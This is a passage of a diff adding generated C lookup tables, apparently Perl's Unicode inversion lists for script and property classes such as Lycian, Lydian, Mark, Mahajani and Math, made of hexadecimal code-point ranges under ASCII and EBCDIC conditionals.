+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1FB8,
+	0x1FBC,
+	0x1FC8,
+	0x1FCC,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFC,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x2130,
+	0x2134,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x2183,
+	0x2184,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D71C,
+	0x1D735,
+	0x1D756,
+	0x1D76F,
+	0x1D790,
+	0x1D7A9,
+	0x1D7CA,
+	0x1D7CB,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LYCI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10280,
+	0x1029D
+};
+
+static const UV PL_LYDI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10920,
+	0x1093A,
+	0x1093F,
+	0x10940
+};
+
+static const UV PL_M_invlist[] = { /* for all charsets */
+	527,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x103F,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x1171D,
+	0x1172C,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0100,
+	0xE01F0
+};
+
+static const UV PL_MAHJ_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x964,
+	0x970,
+	0xA830,
+	0xA83A,
+	0x11150,
+	0x11177
+};
+
+static const UV PL_MAHJONG_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F000,
+	0x1F030
+};
+
+static const UV PL_MAND_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x640,
+	0x641,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F
+};
+
+static const UV PL_MANI_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x640,
+	0x641,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7
+};
+
+static const UV PL_MARC_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_MATH_invlist[] = { /* for ASCII/Latin1 */
+	277,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2B,
+	0x2C,
+	0x3C,
+	0x3F,
+	0x5E,
+	0x5F,
+	0x7C,
+	0x7D,
+	0x7E,
+	0x7F,
+	0xAC,
+	0xAD,
+	0xB1,
+	0xB2,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D6,
+	0x3F0,
+	0x3F2,
+	0x3F4,
+	0x3F7,
+	0x606,
+	0x609,
+	0x2016,
+	0x2017,
+	0x2032,
+	0x2035,
+	0x2040,
+	0x2041,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x2061,
+	0x2065,
+	0x207A,
+	0x207F,
+	0x208A,
+	0x208F,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20E7,
+	0x20EB,
+	0x20F0,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2128,
+	0x212A,
+	0x212C,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x2139,
+	0x213C,
+	0x214A,
+	0x214B,
+	0x214C,
+	0x2190,
+	0x21A8,
+	0x21A9,
+	0x21AF,
+	0x21B0,
+	0x21B2,
+	0x21B6,
+	0x21B8,
+	0x21BC,
+	0x21DC,
+	0x21DD,
+	0x21DE,
+	0x21E4,
+	0x21E6,
+	0x21F4,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x237C,
+	0x237D,
+	0x239B,
+	0x23B6,
+	0x23B7,
+	0x23B8,
+	0x23D0,
+	0x23D1,
+	0x23DC,
+	0x23E3,
+	0x25A0,
+	0x25A2,
+	0x25AE,
+	0x25B8,
+	0x25BC,
+	0x25C2,
+	0x25C6,
+	0x25C8,
+	0x25CA,
+	0x25CC,
+	0x25CF,
+	0x25D4,
+	0x25E2,
+	0x25E3,
+	0x25E4,
+	0x25E5,
+	0x25E7,
+	0x25ED,
+	0x25F8,
+	0x2600,
+	0x2605,
+	0x2607,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2664,
+	0x266D,
+	0x2670,
+	0x27C0,
+	0x2800,
+	0x2900,
+	0x2B00,
+	0x2B30,
+	0x2B45,
